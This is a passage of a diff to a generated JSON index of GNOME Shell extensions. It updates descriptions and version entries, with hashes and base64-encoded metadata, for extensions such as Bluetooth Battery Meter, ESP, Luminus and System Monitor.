     "45": {"version": "3", "sha256": "0c2xlbrhjczmdqbwr8a1xnibdvhgaq23fd58g2hcw8nmp4jw0sdf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVhc2lseSBtb25pdG9yIGFuZCBtYW5hZ2UgeW91ciBtb3VudGVkIHJlbW92YWJsZSBkcml2ZXMsIGRpc3BsYXlpbmcgc2l6ZXMgYW5kIGhpZ2hsaWdodGluZyB0aGUgbW91bnQgd2l0aCB0aGUgbGVhc3QgdXNlZCBzcGFjZSBpbiB0aGUgdG9wIGJhci5Gb3JrZWQgYW5kIE1vZGlmaWVkIGV4dGVuc2l2ZWx5IGZyb20gUmVtb3ZhYmxlIERyaXZlIE1lbnUgYnkgZm11ZWxsbmVyIiwKICAibmFtZSI6ICJNb3VudCBNZXRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kaGFyaWhhcmFuLTA1L2dub21lLXNoZWxsLWV4dGVuc2lvbi1tb3VudC1tZXRlciIsCiAgInV1aWQiOiAibW91bnRNZXRlckBkaGFyaWhhcmFuMjYuZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDMKfQ=="}
   }}
-, {"uuid": "Bluetooth-Battery-Meter@maniacx.github.com", "name": "Bluetooth Battery Meter", "pname": "bluetooth-battery-meter", "description": "A Gnome extension featuring indicator icons in system tray, serving as meter for Bluetooth device battery levels and providing detailed battery levels via icon/text in the Bluetooth quick settings menu.\n\nNote:\nCertain Bluetooth devices do not report battery level until Bluez's experimental features are enabled in system. Check Readme for details.", "link": "https://extensions.gnome.org/extension/6670/bluetooth-battery-meter/", "shell_version_map": {
+, {"uuid": "Bluetooth-Battery-Meter@maniacx.github.com", "name": "Bluetooth Battery Meter", "pname": "bluetooth-battery-meter", "description": "A Gnome extension featuring indicator icons in system tray, serving as meter for Bluetooth device battery levels and providing detailed battery levels via icon/text in the Bluetooth quick settings menu.\n\nNote:\nCertain Bluetooth devices do not report battery level until Bluez's experimental features are enabled in system. Check Readme for details.\n\nNow supports Enhanced Mode.\nWhen enabled, it reports multiple battery levels and provides control using various widgets.\n\nCurrently supports:\nAirPods / Beats: Battery level, ANC (Active Noise Cancellation), Conversation Awareness, and in-ear detection for media pause/playback.\nGATT Battery Service: Multiple battery levels.", "link": "https://extensions.gnome.org/extension/6670/bluetooth-battery-meter/", "shell_version_map": {
     "42": {"version": "21", "sha256": "1822nzw2ci5bybhdaxk8wb1ga6vb2qizjsjjdg3s1dimdcj1ghy3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGZlYXR1cmluZyBpbmRpY2F0b3IgaWNvbnMgaW4gc3lzdGVtIHRyYXksIHNlcnZpbmcgYXMgbWV0ZXIgZm9yIEJsdWV0b290aCBkZXZpY2UgYmF0dGVyeSBsZXZlbHMgYW5kIHByb3ZpZGluZyBkZXRhaWxlZCBiYXR0ZXJ5IGxldmVscyB2aWEgaWNvbi90ZXh0IGluIHRoZSBCbHVldG9vdGggcXVpY2sgc2V0dGluZ3MgbWVudS5cblxuTm90ZTpcbkNlcnRhaW4gQmx1ZXRvb3RoIGRldmljZXMgZG8gbm90IHJlcG9ydCBiYXR0ZXJ5IGxldmVsIHVudGlsIEJsdWV6J3MgZXhwZXJpbWVudGFsIGZlYXR1cmVzIGFyZSBlbmFibGVkIGluIHN5c3RlbS4gQ2hlY2sgUmVhZG1lIGZvciBkZXRhaWxzLiIsCiAgImdldHRleHQtZG9tYWluIjogIkJsdWV0b290aC1CYXR0ZXJ5LU1ldGVyQG1hbmlhY3guZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiQmx1ZXRvb3RoIEJhdHRlcnkgTWV0ZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLkJsdWV0b290aC1CYXR0ZXJ5LU1ldGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWFuaWFjeC9CbHVldG9vdGgtQmF0dGVyeS1NZXRlciIsCiAgInV1aWQiOiAiQmx1ZXRvb3RoLUJhdHRlcnktTWV0ZXJAbWFuaWFjeC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDIxCn0="},
     "43": {"version": "29", "sha256": "1riy8p4849rc72mmxsj7qsdmgkhccybn8is8mdb55c1a7mqb48cb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGZlYXR1cmluZyBpbmRpY2F0b3IgaWNvbnMgaW4gc3lzdGVtIHRyYXksIHNlcnZpbmcgYXMgbWV0ZXIgZm9yIEJsdWV0b290aCBkZXZpY2UgYmF0dGVyeSBsZXZlbHMgYW5kIHByb3ZpZGluZyBkZXRhaWxlZCBiYXR0ZXJ5IGxldmVscyB2aWEgaWNvbi90ZXh0IGluIHRoZSBCbHVldG9vdGggcXVpY2sgc2V0dGluZ3MgbWVudS5cblxuTm90ZTpcbkNlcnRhaW4gQmx1ZXRvb3RoIGRldmljZXMgZG8gbm90IHJlcG9ydCBiYXR0ZXJ5IGxldmVsIHVudGlsIEJsdWV6J3MgZXhwZXJpbWVudGFsIGZlYXR1cmVzIGFyZSBlbmFibGVkIGluIHN5c3RlbS4gQ2hlY2sgUmVhZG1lIGZvciBkZXRhaWxzLiIsCiAgImdldHRleHQtZG9tYWluIjogIkJsdWV0b290aC1CYXR0ZXJ5LU1ldGVyQG1hbmlhY3guZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiQmx1ZXRvb3RoIEJhdHRlcnkgTWV0ZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLkJsdWV0b290aC1CYXR0ZXJ5LU1ldGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYW5pYWN4L0JsdWV0b290aC1CYXR0ZXJ5LU1ldGVyIiwKICAidXVpZCI6ICJCbHVldG9vdGgtQmF0dGVyeS1NZXRlckBtYW5pYWN4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMjkKfQ=="},
     "44": {"version": "29", "sha256": "1riy8p4849rc72mmxsj7qsdmgkhccybn8is8mdb55c1a7mqb48cb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGZlYXR1cmluZyBpbmRpY2F0b3IgaWNvbnMgaW4gc3lzdGVtIHRyYXksIHNlcnZpbmcgYXMgbWV0ZXIgZm9yIEJsdWV0b290aCBkZXZpY2UgYmF0dGVyeSBsZXZlbHMgYW5kIHByb3ZpZGluZyBkZXRhaWxlZCBiYXR0ZXJ5IGxldmVscyB2aWEgaWNvbi90ZXh0IGluIHRoZSBCbHVldG9vdGggcXVpY2sgc2V0dGluZ3MgbWVudS5cblxuTm90ZTpcbkNlcnRhaW4gQmx1ZXRvb3RoIGRldmljZXMgZG8gbm90IHJlcG9ydCBiYXR0ZXJ5IGxldmVsIHVudGlsIEJsdWV6J3MgZXhwZXJpbWVudGFsIGZlYXR1cmVzIGFyZSBlbmFibGVkIGluIHN5c3RlbS4gQ2hlY2sgUmVhZG1lIGZvciBkZXRhaWxzLiIsCiAgImdldHRleHQtZG9tYWluIjogIkJsdWV0b290aC1CYXR0ZXJ5LU1ldGVyQG1hbmlhY3guZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiQmx1ZXRvb3RoIEJhdHRlcnkgTWV0ZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLkJsdWV0b290aC1CYXR0ZXJ5LU1ldGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYW5pYWN4L0JsdWV0b290aC1CYXR0ZXJ5LU1ldGVyIiwKICAidXVpZCI6ICJCbHVldG9vdGgtQmF0dGVyeS1NZXRlckBtYW5pYWN4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMjkKfQ=="},
@@ -7806,7 +7828,7 @@
     "46": {"version": "3", "sha256": "1phybdwrsk9yin5yiwwvyz9rfsrrgm41y1hg014hw3cwabq4nmim", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIHNtYWxsIG5vdGUgdG8geW91ciBHTk9NRSBwYW5lbCIsCiAgIm5hbWUiOiAiUGFuZWwgTm90ZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wYW5lbG5vdGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9HaXR0eU1hYy9QYW5lbE5vdGUiLAogICJ1dWlkIjogInBhbmVsbm90ZUBnaXR0eW1hYy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMwp9"},
     "47": {"version": "3", "sha256": "1phybdwrsk9yin5yiwwvyz9rfsrrgm41y1hg014hw3cwabq4nmim", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIHNtYWxsIG5vdGUgdG8geW91ciBHTk9NRSBwYW5lbCIsCiAgIm5hbWUiOiAiUGFuZWwgTm90ZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wYW5lbG5vdGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9HaXR0eU1hYy9QYW5lbE5vdGUiLAogICJ1dWlkIjogInBhbmVsbm90ZUBnaXR0eW1hYy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMwp9"}
   }}
-, {"uuid": "extensions-search-provider@G-dH.github.com", "name": "ESP (Extensions Search Provider)", "pname": "esp-extensions-search-provider", "description": "Search and access settings of installed extensions from the Activities overview", "link": "https://extensions.gnome.org/extension/6721/esp-extensions-search-provider/", "shell_version_map": {
+, {"uuid": "extensions-search-provider@G-dH.github.com", "name": "ESP (Extensions Search Provider)", "pname": "esp-extensions-search-provider", "description": "Search, access settings and data and control installed extensions from Activities overview.\n\nFeatures:\n- (De)activate and delete extensions\n- Global and isolated search controlled by custom prefixes\n- Sorting options includes enabled first and order of enabling\n- Direct access to extension's directory, metadata file, dconf and website\n- Status information including compatibility, updates and errors", "link": "https://extensions.gnome.org/extension/6721/esp-extensions-search-provider/", "shell_version_map": {
     "42": {"version": "23", "sha256": "18fr3d0kf97pn7i3dqlm7llp6rqhzqr45xid1q9c25ggibrig6lx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBhbmQgYWNjZXNzIHNldHRpbmdzIG9mIGluc3RhbGxlZCBleHRlbnNpb25zIGZyb20gdGhlIEFjdGl2aXRpZXMgb3ZlcnZpZXciLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImdlb3JnZGgiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiZXh0ZW5zaW9ucy1zZWFyY2gtcHJvdmlkZXIiLAogICJuYW1lIjogIkVTUCAoRXh0ZW5zaW9ucyBTZWFyY2ggUHJvdmlkZXIpIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmV4dGVuc2lvbnMtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC9leHRlbnNpb25zLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiZXh0ZW5zaW9ucy1zZWFyY2gtcHJvdmlkZXJARy1kSC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDIzLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuNyIKfQ=="},
     "43": {"version": "23", "sha256": "18fr3d0kf97pn7i3dqlm7llp6rqhzqr45xid1q9c25ggibrig6lx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBhbmQgYWNjZXNzIHNldHRpbmdzIG9mIGluc3RhbGxlZCBleHRlbnNpb25zIGZyb20gdGhlIEFjdGl2aXRpZXMgb3ZlcnZpZXciLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImdlb3JnZGgiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiZXh0ZW5zaW9ucy1zZWFyY2gtcHJvdmlkZXIiLAogICJuYW1lIjogIkVTUCAoRXh0ZW5zaW9ucyBTZWFyY2ggUHJvdmlkZXIpIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmV4dGVuc2lvbnMtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC9leHRlbnNpb25zLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiZXh0ZW5zaW9ucy1zZWFyY2gtcHJvdmlkZXJARy1kSC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDIzLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuNyIKfQ=="},
     "44": {"version": "23", "sha256": "18fr3d0kf97pn7i3dqlm7llp6rqhzqr45xid1q9c25ggibrig6lx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBhbmQgYWNjZXNzIHNldHRpbmdzIG9mIGluc3RhbGxlZCBleHRlbnNpb25zIGZyb20gdGhlIEFjdGl2aXRpZXMgb3ZlcnZpZXciLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImdlb3JnZGgiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiZXh0ZW5zaW9ucy1zZWFyY2gtcHJvdmlkZXIiLAogICJuYW1lIjogIkVTUCAoRXh0ZW5zaW9ucyBTZWFyY2ggUHJvdmlkZXIpIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmV4dGVuc2lvbnMtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC9leHRlbnNpb25zLXNlYXJjaC1wcm92aWRlciIsCiAgInV1aWQiOiAiZXh0ZW5zaW9ucy1zZWFyY2gtcHJvdmlkZXJARy1kSC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDIzLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuNyIKfQ=="},
@@ -7861,7 +7883,7 @@
     "46": {"version": "10", "sha256": "0dcpd9x80xyn6ldmb8n46ilxr0vvcbfj7lc451d9vzkf64n2bsbg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkx1bWludXMgU2hlbGwgZm9yIEJsdXIgbXkgU2hlbGwgYW5kIG90aGVyIHRyYW5zcGFyZW50IHRoZW1pbmcgZXh0ZW5zaW9uLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiZGlrYXNwIgogIH0sCiAgIm5hbWUiOiAiTHVtaW51cyBTaGVsbCBZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL2Rpa2FzZXR5YXByYXlvZ2kvbHVtaW51cy1wcm9qZWN0IiwKICAidXVpZCI6ICJsdW1pbnVzLXNoZWxsLXlAZGlrYXNwLmdpdGxhYiIsCiAgInZlcnNpb24iOiAxMCwKICAidmVyc2lvbi1uYW1lIjogIjQ2LjIuNCIKfQ=="},
     "47": {"version": "16", "sha256": "1s5136d0i25wxc98vxnjx3d1xs18s666knwdfpqkmzgqfkc8jkfj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGFsdGVybmF0aXZlIGxpZ2h0IHRoZW1lIGludGVncmF0aW9uIChzaGVsbCBvbmx5KS4gQ3VzdG9tIHZlcnNpb24gZm9yIHVzZSB3aXRoIEJsdXIgbXkgU2hlbGwgYW5kIG90aGVyIHRyYW5zcGFyZW50IHRoZW1pbmcgZXh0ZW5zaW9uLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiZGlrYXNwIgogIH0sCiAgIm5hbWUiOiAiTHVtaW51cyBTaGVsbCBZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL2Rpa2FzZXR5YXByYXlvZ2kvbHVtaW51cy1wcm9qZWN0IiwKICAidXVpZCI6ICJsdW1pbnVzLXNoZWxsLXlAZGlrYXNwLmdpdGxhYiIsCiAgInZlcnNpb24iOiAxNiwKICAidmVyc2lvbi1uYW1lIjogIjQ3LnY0Igp9"}
   }}
-, {"uuid": "luminus-desktop@dikasp.gitlab", "name": "Luminus", "pname": "luminus-desktop", "description": "The missing GNOME light theme you had been looking for\n\nNote: This extension is designed for vanilla GNOME only\n\nDemo video (Luminus 47): https://gitlab.com/dikasetyaprayogi/luminus-project-archive/-/raw/main/assets/47/demo_video_1080.mp4\n", "link": "https://extensions.gnome.org/extension/6750/luminus-desktop/", "shell_version_map": {
+, {"uuid": "luminus-desktop@dikasp.gitlab", "name": "Luminus", "pname": "luminus-desktop", "description": "The missing GNOME light theme you had been looking for\n\nnote: for use with vanilla GNOME\nmore details please visit gitlab page", "link": "https://extensions.gnome.org/extension/6750/luminus-desktop/", "shell_version_map": {
     "45": {"version": "3", "sha256": "1ai9rzr0lx8myy6cqfsm4cck5l1v5yq8fwfil0rawpnzlbr6rmgk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkJyaW5ncyBnbG9iYWwgZnVsbCBsaWdodCBzdHlsZSBpbnRlZ3JhdGlvbiBpbnRvIGdub21lLXNoZWxsIGFuZCBHVEsgYXBwcy4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImRpa2FzcCIKICB9LAogICJuYW1lIjogIkx1bWludXMgRGVza3RvcCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9kaWthc2V0eWFwcmF5b2dpL2x1bWludXMtcHJvamVjdCIsCiAgInV1aWQiOiAibHVtaW51cy1kZXNrdG9wQGRpa2FzcC5naXRsYWIiLAogICJ2ZXJzaW9uIjogMywKICAidmVyc2lvbi1uYW1lIjogIjQ1LjIiCn0="},
     "46": {"version": "13", "sha256": "05lj5ivq25p4xgz9nwi54xs4db13ssl9vqig2bvplbm0v5lh0aab", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGFsdGVybmF0aXZlIGdsb2JhbCBsaWdodCB0aGVtZSBpbnRlZ3JhdGlvbi4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImRpa2FzcCIKICB9LAogICJuYW1lIjogIkx1bWludXMgRGVza3RvcCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9kaWthc2V0eWFwcmF5b2dpL2x1bWludXMtcHJvamVjdCIsCiAgInV1aWQiOiAibHVtaW51cy1kZXNrdG9wQGRpa2FzcC5naXRsYWIiLAogICJ2ZXJzaW9uIjogMTMsCiAgInZlcnNpb24tbmFtZSI6ICI0Ni4yLjQiCn0="},
     "47": {"version": "19", "sha256": "00jqbp1gsc01pg3lg4l3l1aa7ijb3k6k94ncp5gk6klrlwl9amcw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGFsdGVybmF0aXZlIGdsb2JhbCBsaWdodCB0aGVtZSBpbnRlZ3JhdGlvbiAoc2hlbGwgYW5kIGFwcHMpLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiZGlrYXNwIgogIH0sCiAgIm5hbWUiOiAiTHVtaW51cyBEZXNrdG9wIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9kaWthc2V0eWFwcmF5b2dpL2x1bWludXMtcHJvamVjdCIsCiAgInV1aWQiOiAibHVtaW51cy1kZXNrdG9wQGRpa2FzcC5naXRsYWIiLAogICJ2ZXJzaW9uIjogMTksCiAgInZlcnNpb24tbmFtZSI6ICI0Ny52NCIKfQ=="},
@@ -7945,8 +7967,8 @@
   }}
 , {"uuid": "system-monitor@gnome-shell-extensions.gcampax.github.com", "name": "System Monitor", "pname": "system-monitor", "description": "Monitor system from the top bar", "link": "https://extensions.gnome.org/extension/6807/system-monitor/", "shell_version_map": {
     "46": {"version": "5", "sha256": "08gvm87xlksa2magym7cxx5lwvhzmd3l9sba4f1chggl7d5vpz8h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vbml0b3Igc3lzdGVtIGZyb20gdGhlIHRvcCBiYXIiLAogICJleHRlbnNpb24taWQiOiAic3lzdGVtLW1vbml0b3IiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJuYW1lIjogIlN5c3RlbSBNb25pdG9yIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN5c3RlbS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogInN5c3RlbS1tb25pdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDUKfQ=="},
-    "47": {"version": "6", "sha256": "170kmlxr6yh4xwvi8yqmxvcari4yvcxy68k6gbmr7k95sl72c31k", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vbml0b3Igc3lzdGVtIGZyb20gdGhlIHRvcCBiYXIiLAogICJleHRlbnNpb24taWQiOiAic3lzdGVtLW1vbml0b3IiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJuYW1lIjogIlN5c3RlbSBNb25pdG9yIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN5c3RlbS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogInN5c3RlbS1tb25pdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYKfQ=="},
-    "48": {"version": "8", "sha256": "0152dnn59wxh08friv2mglzhr73splg1f2yg76i8sla9hpsc8my9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vbml0b3Igc3lzdGVtIGZyb20gdGhlIHRvcCBiYXIiLAogICJleHRlbnNpb24taWQiOiAic3lzdGVtLW1vbml0b3IiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJuYW1lIjogIlN5c3RlbSBNb25pdG9yIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN5c3RlbS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogInN5c3RlbS1tb25pdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="}
+    "47": {"version": "10", "sha256": "1lq1nq4455bck5l508f1a3pl6wafbsv94igzdg27l7x9pad5b2aq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vbml0b3Igc3lzdGVtIGZyb20gdGhlIHRvcCBiYXIiLAogICJleHRlbnNpb24taWQiOiAic3lzdGVtLW1vbml0b3IiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJuYW1lIjogIlN5c3RlbSBNb25pdG9yIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN5c3RlbS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogInN5c3RlbS1tb25pdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
